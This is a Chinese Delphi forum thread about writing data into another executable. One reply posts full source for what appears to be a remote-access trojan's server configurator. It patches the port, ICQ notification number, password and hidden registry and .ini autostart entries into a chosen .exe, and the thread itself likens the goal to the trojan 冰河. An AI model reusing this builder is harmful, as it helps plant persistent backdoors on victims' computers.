怎么样才能把信息写与.exe文件?(100分)

  • 主题发起人 主题发起人 吴三桂
  • 开始时间 开始时间

吴三桂

Unregistered / Unconfirmed
GUEST, unregistred user!
我想用一个可执行文件把一些信息写入另一个可执行文件,应怎样做?
如:把另一个的标题改掉。
 
BeginUpdateResource
UpdateResource
EndUpdateResource
 
谁能稍微具体一点?
 
找到另一个程序的主窗体的类,再用findwindow()函数找到其句柄,即可直接改其标题。
 
如果是写入一个未运行的.exe文件呢?
 
大家再来看一下吧,谢谢啦!
 
直接修改 EXE 文件中的资源,包括 FORM 窗体资源。其实完全可以自己编写一个查看、修改
EXE、DLL 文件的资源的程序,最大的用处比如汉化功能。其实 Delphi 已经提供了一个样
例程序,在 Demos 目录里的有一个专门提取可执行程序资源的例子程序好像叫 Rexplore
之类的,可以参考一下。
 
你是否要写病毒?
 
和冰河相似,用一个程序改写另一个可执行程序,但我不写病毒,谢谢!!
 
如果是没有运行的exe应该比较简单
以二进制的形式打开(TFileStream或TMemoryStream), 将内容读入一个 ansistring.
再用 pos 找到要修改的部分, insert,delete修改并且保存就可以了.
给你一个将 TMemoryStream 读入 ansistring 的例子(我自己练习程序的一部分)

procedure TForm1.mappedfile(f: TMemoryStream; var filemap: ansistring);
const
bsize = 10240;
var
buf: array[1..bsize] of char;
i, n: integer;
begin
n := 1;
/////////////////////////////////////
// 记住, 一定要有这一行!
f.Position := 0;
//~~~~~~~~~~~~~~~~~~
/////////////////////////////////////
while n <> 0 do
begin
n := f.Read(buf, bsize);
if n <> bsize then
for i := 1 to n do appendstr(filemap, buf)
else
appendstr(filemap, buf);
end;
end;

速度还可以.(比一个字节一个字节地读要快得多)
 
EASY...
to Http://Lovejingtao.126.com

unit config1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls,
ComCtrls, Buttons;

type
TMainForm = class(TForm)
GroupBox1: TGroupBox;
OpenDialog1: TOpenDialog;
GroupBox2: TGroupBox;
Label5: TLabel;
GroupBox3: TGroupBox;
Label6: TLabel;
Label7: TLabel;
GroupBox4: TGroupBox;
Label2: TLabel;
Label4: TLabel;
Label3: TLabel;
StatusBar1: TStatusBar;
FileBox1: TEdit;
SpeedButton1: TSpeedButton;
Button1: TButton;
Button2: TButton;
Button3: TButton;
PortBox: TEdit;
NameBox: TEdit;
UINBox: TEdit;
ICQCheckBox: TCheckBox;
PassCheckBox: TCheckBox;
PassBox1: TEdit;
PassBox2: TEdit;
Button4: TButton;
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
MainForm: TMainForm;

implementation

uses startup;

{$R *.DFM}






procedure TMainForm.Button3Click(Sender: TObject);
begin
StartupForm.Show;
end;

procedure TMainForm.Button4Click(Sender: TObject);
begin
Application.Terminate;
end;

procedure TMainForm.Button2Click(Sender: TObject);
var
F: file;
Count: Integer;
S: string;
Buff: array[1..25] of Char;

begin
if (FileBox1.Text = '') then
begin
MessageDlg('Please select a file.', mtError, [mbOK], 0);
Exit;
end;
if (PassBox1.Text <> PassBox2.Text) then
begin
MessageDlg('Passwords do not match.', mtError, [mbOK], 0);
Exit;
end;
AssignFile(F, FileBox1.Text);
{$I-}
Reset(F, 1);
{$I+}
if (IOResult = 0) then
begin
// port
Seek(F, $1E14);
for Count := 1 to 25 do Buff[Count] := Char(0);
S := PortBox.Text;
for Count := 1 to Length(S) do Buff[Count] := S[Count];
BlockWrite(F, Buff, 5);
// icq number
Seek(F, $1CFE);
for Count := 1 to 25 do Buff[Count] := Char(0);
S := UINBox.Text;
for Count := 1 to Length(S) do Buff[Count] := S[Count];
BlockWrite(F, Buff, 10);
// password
Seek(F, $1E2F);
for Count := 1 to 25 do Buff[Count] := Char(0);
S := PassBox1.Text;
for Count := 1 to Length(S) do Buff[Count] := S[Count];
BlockWrite(F, Buff, 20);
// filename
Seek(F, $1D23);
for Count := 1 to 25 do Buff[Count] := Char(0);
S := StartupForm.FileNameBox.Text;
for Count := 1 to Length(S) do Buff[Count] := S[Count];
BlockWrite(F, Buff, 12);
// regrun key name
Seek(F, $1DAA);
for Count := 1 to 25 do Buff[Count] := Char(0);
S := StartupForm.RegRunBox.Text;
for Count := 1 to Length(S) do Buff[Count] := S[Count];
BlockWrite(F, Buff, 25);
// reg runservices key name
Seek(F, $1DC4);
for Count := 1 to 25 do Buff[Count] := Char(0);
S := StartupForm.RegRunSrvBox.Text;
for Count := 1 to Length(S) do Buff[Count] := S[Count];
BlockWrite(F, Buff, 25);
// reg current user key name
Seek(F, $1DDE);
for Count := 1 to 25 do Buff[Count] := Char(0);
S := StartupForm.RegCurrUserBox.Text;
for Count := 1 to Length(S) do Buff[Count] := S[Count];
BlockWrite(F, Buff, 25);
// password true/false
Seek(F, $1DF8);
for Count := 1 to 25 do Buff[Count] := Char(0);
if (PassCheckBox.Checked = TRUE) then S := '123' else S := '321';
for Count := 1 to Length(S) do Buff[Count] := S[Count];
BlockWrite(F, Buff, 3);
// reg currentuser startup true/false
Seek(F, $1DFC);
for Count := 1 to 25 do Buff[Count] := Char(0);
if (StartupForm.RegCurrUserCheckBox.Checked = TRUE) then S := '123' else S := '321';
for Count := 1 to Length(S) do Buff[Count] := S[Count];
BlockWrite(F, Buff, 3);
// regrun startup true/false
Seek(F, $1E00);
for Count := 1 to 25 do Buff[Count] := Char(0);
if (StartupForm.RegRunCheckBox.Checked = TRUE) then S := '123' else S := '321';
for Count := 1 to Length(S) do Buff[Count] := S[Count];
BlockWrite(F, Buff, 3);
// reg runservices startup true/false
Seek(F, $1E04);
for Count := 1 to 25 do Buff[Count] := Char(0);
if (StartupForm.RegRunSrvCheckBox.Checked = TRUE) then S := '123' else S := '321';
for Count := 1 to Length(S) do Buff[Count] := S[Count];
BlockWrite(F, Buff, 3);
// sysini startup true/false
Seek(F, $1E08);
for Count := 1 to 25 do Buff[Count] := Char(0);
if (StartupForm.SystemINICheckBox.Checked = TRUE) then S := '123' else S := '321';
for Count := 1 to Length(S) do Buff[Count] := S[Count];
BlockWrite(F, Buff, 3);
// winini load startup true/false
Seek(F, $1E0C);
for Count := 1 to 25 do Buff[Count] := Char(0);
if (StartupForm.WinINILoadCheckBox.Checked = TRUE) then S := '123' else S := '321';
for Count := 1 to Length(S) do Buff[Count] := S[Count];
BlockWrite(F, Buff, 3);
// winini run startup true/false
Seek(F, $1E10);
for Count := 1 to 25 do Buff[Count] := Char(0);
if (StartupForm.WinINIRunCheckBox.Checked = TRUE) then S := '123' else S := '321';
for Count := 1 to Length(S) do Buff[Count] := S[Count];
BlockWrite(F, Buff, 3);
// use icq true/false
Seek(F, $1C24);
for Count := 1 to 25 do Buff[Count] := Char(0);
if (ICQCheckBox.Checked = TRUE) then S := '123' else S := '321';
for Count := 1 to Length(S) do Buff[Count] := S[Count];
BlockWrite(F, Buff, 3);
// server name
Seek(F, $1E1A);
for Count := 1 to 25 do Buff[Count] := Char(0);
S := NameBox.Text;
for Count := 1 to Length(S) do Buff[Count] := S[Count];
BlockWrite(F, Buff, 20);
CloseFile(F);
end;
end;

procedure TMainForm.Button1Click(Sender: TObject);
var
F: file;
S: string;
Count: Integer;
Buff: array[1..25] of Char;
begin
if (FileBox1.Text = '') then
begin
MessageDlg('Please select a file.', mtError, [mbOK], 0);
Exit;
end;
AssignFile(F, FileBox1.Text);
{$I-}
Reset(F, 1);
{$I+}
if (IOResult = 0) then
begin
for Count := 1 to 25 do Buff[Count] := Char(0);
// use icq true/false
Seek(F, $1C24);
BlockRead(F, Buff, 3);
Count := 1;
S := '';
while (Ord(Buff[Count]) <> 0) do
begin
S := S + Buff[Count];
Inc(Count);
end;
if (S = '123') then ICQCheckBox.Checked := TRUE else ICQCheckBox.Checked := FALSE;
for Count := 1 to 25 do Buff[Count] := Char(0);
// password true/false
Seek(F, $1DF8);
BlockRead(F, Buff, 3);
Count := 1;
S := '';
while (Ord(Buff[Count]) <> 0) do
begin
S := S + Buff[Count];
Inc(Count);
end;
if (S = '123') then PassCheckBox.Checked := TRUE else PassCheckBox.Checked := FALSE;
for Count := 1 to 25 do Buff[Count] := Char(0);
// reg current user startup true/false
Seek(F, $1DFC);
BlockRead(F, Buff, 3);
Count := 1;
S := '';
while (Ord(Buff[Count]) <> 0) do
begin
S := S + Buff[Count];
Inc(Count);
end;
if (S = '123') then StartupForm.RegCurrUserCheckBox.Checked := TRUE else StartupForm.RegCurrUserCheckBox.Checked := FALSE;
for Count := 1 to 25 do Buff[Count] := Char(0);
// regrun startup true/false
Seek(F, $1E00);
BlockRead(F, Buff, 3);
Count := 1;
S := '';
while (Ord(Buff[Count]) <> 0) do
begin
S := S + Buff[Count];
Inc(Count);
end;
if (S = '123') then StartupForm.RegRunCheckBox.Checked := TRUE else StartupForm.RegRunCheckBox.Checked := FALSE;
for Count := 1 to 25 do Buff[Count] := Char(0);
// reg runservices startup true/false
Seek(F, $1E04);
BlockRead(F, Buff, 3);
Count := 1;
S := '';
while (Ord(Buff[Count]) <> 0) do
begin
S := S + Buff[Count];
Inc(Count);
end;
if (S = '123') then StartupForm.RegRunSrvCheckBox.Checked := TRUE else StartupForm.RegRunSrvCheckBox.Checked := FALSE;
for Count := 1 to 25 do Buff[Count] := Char(0);
// sysini startup true/false
Seek(F, $1E08);
BlockRead(F, Buff, 3);
Count := 1;
S := '';
while (Ord(Buff[Count]) <> 0) do
begin
S := S + Buff[Count];
Inc(Count);
end;
if (S = '123') then StartupForm.SystemINICheckBox.Checked := TRUE else StartupForm.SystemINICheckBox.Checked := FALSE;
for Count := 1 to 25 do Buff[Count] := Char(0);
// winini load startup true/false
Seek(F, $1E0C);
BlockRead(F, Buff, 3);
Count := 1;
S := '';
while (Ord(Buff[Count]) <> 0) do
begin
S := S + Buff[Count];
Inc(Count);
end;
if (S = '123') then StartupForm.WinINILoadCheckBox.Checked := TRUE else StartupForm.WinINILoadCheckBox.Checked := FALSE;
for Count := 1 to 25 do Buff[Count] := Char(0);
// winini run startup true/false
Seek(F, $1E10);
BlockRead(F, Buff, 3);
Count := 1;
S := '';
while (Ord(Buff[Count]) <> 0) do
begin
S := S + Buff[Count];
Inc(Count);
end;
if (S = '123') then StartupForm.WinINIRunCheckBox.Checked := TRUE else StartupForm.WinINIRunCheckBox.Checked := FALSE;
for Count := 1 to 25 do Buff[Count] := Char(0);
// port
Seek(F, $1E14);
BlockRead(F, Buff, 5);
Count := 1;
S := '';
while (Ord(Buff[Count]) <> 0) do
begin
S := S + Buff[Count];
Inc(Count);
end;
PortBox.Text := S;
for Count := 1 to 25 do Buff[Count] := Char(0);
// icq number
Seek(F, $1CFE);
BlockRead(F, Buff, 10);
Count := 1;
S := '';
while (Ord(Buff[Count]) <> 0) do
begin
S := S + Buff[Count];
Inc(Count);
end;
UINBox.Text := S;
for Count := 1 to 25 do Buff[Count] := Char(0);
// filename
Seek(F, $1D23);
BlockRead(F, Buff, 12);
Count := 1;
S := '';
while (Ord(Buff[Count]) <> 0) do
begin
S := S + Buff[Count];
Inc(Count);
end;
StartupForm.FileNameBox.Text := S;
for Count := 1 to 25 do Buff[Count] := Char(0);
// regrun key name
Seek(F, $1DAA);
BlockRead(F, Buff, 25);
Count := 1;
S := '';
while (Ord(Buff[Count]) <> 0) do
begin
S := S + Buff[Count];
Inc(Count);
end;
StartupForm.RegRunBox.Text := S;
for Count := 1 to 25 do Buff[Count] := Char(0);
// reg runservices key name
Seek(F, $1DC4);
BlockRead(F, Buff, 25);
Count := 1;
S := '';
while (Ord(Buff[Count]) <> 0) do
begin
S := S + Buff[Count];
Inc(Count);
end;
StartupForm.RegRunSrvBox.Text := S;
for Count := 1 to 25 do Buff[Count] := Char(0);
// reg current user key name
Seek(F, $1DDE);
BlockRead(F, Buff, 25);
Count := 1;
S := '';
while (Ord(Buff[Count]) <> 0) do
begin
S := S + Buff[Count];
Inc(Count);
end;
StartupForm.RegCurrUserBox.Text := S;
for Count := 1 to 25 do Buff[Count] := Char(0);
// password
Seek(F, $1E2F);
BlockRead(F, Buff, 20);
Count := 1;
S := '';
while (Ord(Buff[Count]) <> 0) do
begin
S := S + Buff[Count];
Inc(Count);
end;
PassBox1.Text := S;
PassBox2.Text := S;
for Count := 1 to 25 do Buff[Count] := Char(0);
// server name
Seek(F, $1E1A);
BlockRead(F, Buff, 20);
Count := 1;
S := '';
while (Ord(Buff[Count]) <> 0) do
begin
S := S + Buff[Count];
Inc(Count);
end;
NameBox.Text := S;
for Count := 1 to 25 do Buff[Count] := Char(0);
CloseFile(F);
end;
end;


procedure TMainForm.SpeedButton1Click(Sender: TObject);
begin
if (OpenDialog1.Execute) then FileBox1.Text := OpenDialog1.FileName;
end;

end.
 
多人接受答案了。
 

Similar threads

D
回复
0
查看
1K
DelphiTeacher的专栏
D
D
回复
0
查看
887
DelphiTeacher的专栏
D
D
回复
0
查看
1K
DelphiTeacher的专栏
D
S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
S
回复
0
查看
2K
SUNSTONE的Delphi笔记
S
后退
顶部